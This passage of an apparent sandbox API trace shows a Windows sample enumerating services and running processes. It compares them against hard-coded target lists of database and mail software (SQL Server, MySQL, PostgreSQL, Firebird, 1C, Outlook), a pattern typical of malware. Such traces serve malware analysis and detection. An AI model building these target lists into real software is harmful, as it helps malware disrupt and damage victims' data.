(lpString="RpcEptMapper") returned 12 [0056.862] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0056.862] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0056.862] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0056.862] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0056.862] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0056.862] lstrlenW (lpString="RpcSs") returned 5 [0056.862] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0056.862] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0056.862] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0056.862] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0056.862] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0056.862] lstrlenW (lpString="SamSs") returned 5 [0056.862] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0056.862] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0056.862] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0056.862] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0056.862] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0056.862] lstrlenW (lpString="Schedule") returned 8 [0056.862] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0056.862] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0056.862] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0056.862] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0056.862] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0056.862] lstrlenW (lpString="SENS") returned 4 [0056.862] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0056.862] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0056.863] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0056.863] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0056.863] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0056.863] lstrlenW (lpString="ShellHWDetection") returned 16 [0056.863] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0056.863] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0056.863] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0056.863] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0056.863] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0056.863] lstrlenW (lpString="Spooler") returned 7 [0056.863] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0056.863] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0056.863] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0056.863] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0056.863] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0056.863] lstrlenW (lpString="swprv") returned 5 [0056.863] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0056.863] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0056.863] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0056.863] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0056.863] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0056.863] lstrlenW (lpString="SysMain") returned 7 [0056.863] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0056.863] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0056.863] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0056.863] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0056.863] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0056.863] lstrlenW (lpString="Themes") returned 6 [0056.863] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0056.863] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0056.863] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0056.863] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0056.864] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0056.864] lstrlenW (lpString="TrkWks") returned 6 [0056.864] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0056.864] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0056.864] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0056.864] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0056.864] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0056.864] lstrlenW (lpString="UxSms") returned 5 [0056.864] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0056.864] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0056.864] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0056.864] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0056.864] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0056.864] lstrlenW (lpString="VSS") returned 3 [0056.864] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0056.864] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0056.864] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0056.864] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0056.864] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0056.864] lstrlenW (lpString="WdiServiceHost") returned 14 [0056.864] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0056.864] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0056.864] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0056.864] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0056.864] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0056.864] lstrlenW (lpString="WdiSystemHost") returned 13 [0056.864] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0056.864] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0056.864] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0056.864] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0056.864] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0056.865] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0056.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0056.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0056.865] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0056.865] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0056.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0056.865] lstrlenW (lpString="Winmgmt") returned 7 [0056.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0056.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0056.865] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0056.865] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0056.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0056.865] lstrlenW (lpString="WPDBusEnum") returned 10 [0056.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0056.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0056.865] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0056.865] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0056.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0056.865] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x47f0050 | out: hHeap=0x220000) returned 1 [0056.865] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x234 [0056.867] Process32FirstW (in: hSnapshot=0x234, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0056.868] Process32NextW (in: hSnapshot=0x234, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0056.869] lstrlenW (lpString="System") returned 6 [0056.869] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0056.869] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0056.869] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0056.869] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0056.869] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0056.869] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0056.869] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0056.869] Process32NextW (in: hSnapshot=0x234, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0056.870] lstrlenW (lpString="smss.exe") returned 8 [0056.870] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0056.870] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0056.870] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0056.870] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0056.870] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0056.870] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0056.870] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0056.870] Process32NextW (in: hSnapshot=0x234, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0056.870] lstrlenW (lpString="csrss.exe") returned 9 [0056.871] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0056.871] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0056.871] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0056.871] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0056.871] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0056.871] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0056.871] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0056.871] Process32NextW (in: hSnapshot=0x234, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0056.871] lstrlenW (lpString="wininit.exe") returned 11 [0056.871] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0056.871] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0056.871] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0056.872] Process32NextW (in: hSnapshot=0x234, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0056.873] lstrlenW (lpString="csrss.exe") returned 9 [0056.873] Process32NextW (in: hSnapshot=0x234, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0056.873] lstrlenW (lpString="winlogon.exe") returned 12 [0056.873] Process32NextW (in: hSnapshot=0x234, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0056.874] lstrlenW (lpString="services.exe") returned 12 [0056.874] Process32NextW (in: hSnapshot=0x234, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0056.875] lstrlenW (lpString="lsass.exe") returned 9 [0056.875] Process32NextW (in: hSnapshot=0x234, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0056.875] lstrlenW (lpString="lsm.exe") returned 7 [0056.875] Process32NextW (in: hSnapshot=0x234, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.876] lstrlenW (lpString="svchost.exe") returned 11 [0056.876] Process32NextW (in: hSnapshot=0x234, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.877] lstrlenW (lpString="svchost.exe") returned 11 [0056.877] Process32NextW (in: hSnapshot=0x234, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.877] lstrlenW (lpString="svchost.exe") returned 11 [0056.877] Process32NextW (in: hSnapshot=0x234, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.878] lstrlenW (lpString="svchost.exe") returned 11 [0056.878] Process32NextW (in: hSnapshot=0x234, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x32, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.879] lstrlenW (lpString="svchost.exe") returned 11 [0056.879] Process32NextW (in: hSnapshot=0x234, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0056.880] lstrlenW (lpString="audiodg.exe") returned 11 [0056.880] Process32NextW (in: hSnapshot=0x234, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.880] lstrlenW (lpString="svchost.exe") returned 11 [0056.880] Process32NextW (in: hSnapshot=0x234, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.881] lstrlenW (lpString="svchost.exe") returned 11 [0056.881] Process32NextW (in: hSnapshot=0x234, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0056.882] lstrlenW (lpString="dwm.exe") returned 7 [0056.882] Process32NextW (in: hSnapshot=0x234, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0056.882] lstrlenW (lpString="explorer.exe") returned 12 [0056.882] Process32NextW (in: hSnapshot=0x234, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0056.883] lstrlenW (lpString="spoolsv.exe") returned 11 [0056.883] Process32NextW (in: hSnapshot=0x234, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0056.884] lstrlenW (lpString="taskhost.exe") returned 12 [0056.884] Process32NextW (in: hSnapshot=0x234, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.884] lstrlenW (lpString="svchost.exe") returned 11 [0056.884] Process32NextW (in: hSnapshot=0x234, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0056.885] lstrlenW (lpString="taskeng.exe") returned 11 [0056.885] Process32NextW (in: hSnapshot=0x234, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0056.886] lstrlenW (lpString="taskhost.exe") returned 12 [0056.886] Process32NextW (in: hSnapshot=0x234, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="presidential.exe")) returned 1 [0056.887] lstrlenW (lpString="presidential.exe") returned 16 [0056.887] Process32NextW (in: hSnapshot=0x234, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ol-filing.exe")) returned 1 [0056.887] lstrlenW (lpString="ol-filing.exe") returned 13 [0056.887] Process32NextW (in: hSnapshot=0x234, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="overcome.exe")) returned 1 [0057.476] lstrlenW (lpString="overcome.exe") returned 12 [0057.476] Process32NextW (in: hSnapshot=0x234, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="declinedreferral.exe")) returned 1 [0057.476] lstrlenW (lpString="declinedreferral.exe") returned 20 [0057.476] Process32NextW (in: hSnapshot=0x234, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="franciscotrack.exe")) returned 1 [0057.477] lstrlenW (lpString="franciscotrack.exe") returned 18 [0057.477] Process32NextW (in: hSnapshot=0x234, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nicholas.exe")) returned 1 [0057.478] lstrlenW (lpString="nicholas.exe") returned 12 [0057.478] Process32NextW (in: hSnapshot=0x234, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="asbestosauthentication.exe")) returned 1 [0057.479] lstrlenW (lpString="asbestosauthentication.exe") returned 26 [0057.479] Process32NextW (in: hSnapshot=0x234, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="word.exe")) returned 1 [0057.479] lstrlenW (lpString="word.exe") returned 8 [0057.479] Process32NextW (in: hSnapshot=0x234, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="semestermeta.exe")) returned 1 [0057.480] lstrlenW (lpString="semestermeta.exe") returned 16 [0057.480] Process32NextW (in: hSnapshot=0x234, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reflects.exe")) returned 1 [0057.482] lstrlenW (lpString="reflects.exe") returned 12 [0057.482] Process32NextW (in: hSnapshot=0x234, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="beveragesradios.exe")) returned 1 [0057.482] lstrlenW (lpString="beveragesradios.exe") returned 19 [0057.482] Process32NextW (in: hSnapshot=0x234, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shaved_extraordinary.exe")) returned 1 [0057.483] lstrlenW (lpString="shaved_extraordinary.exe") returned 24 [0057.483] Process32NextW (in: hSnapshot=0x234, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ground.exe")) returned 1 [0057.484] lstrlenW (lpString="ground.exe") returned 10 [0057.484] Process32NextW (in: hSnapshot=0x234, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="least.exe")) returned 1 [0057.484] lstrlenW (lpString="least.exe") returned 9 [0057.484] Process32NextW (in: hSnapshot=0x234, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="meetings.exe")) returned 1 [0057.485] lstrlenW (lpString="meetings.exe") returned 12 [0057.485] Process32NextW (in: hSnapshot=0x234, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wooltestimony.exe")) returned 1 [0057.486] lstrlenW (lpString="wooltestimony.exe") returned 17 [0057.486] Process32NextW (in: hSnapshot=0x234, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="inexpensive.exe")) returned 1 [0057.486] lstrlenW (lpString="inexpensive.exe") returned 15 [0057.487] Process32NextW (in: hSnapshot=0x234, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="er-amd.exe")) returned 1 [0057.487] lstrlenW (lpString="er-amd.exe") returned 10 [0057.487] Process32NextW (in: hSnapshot=0x234, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, 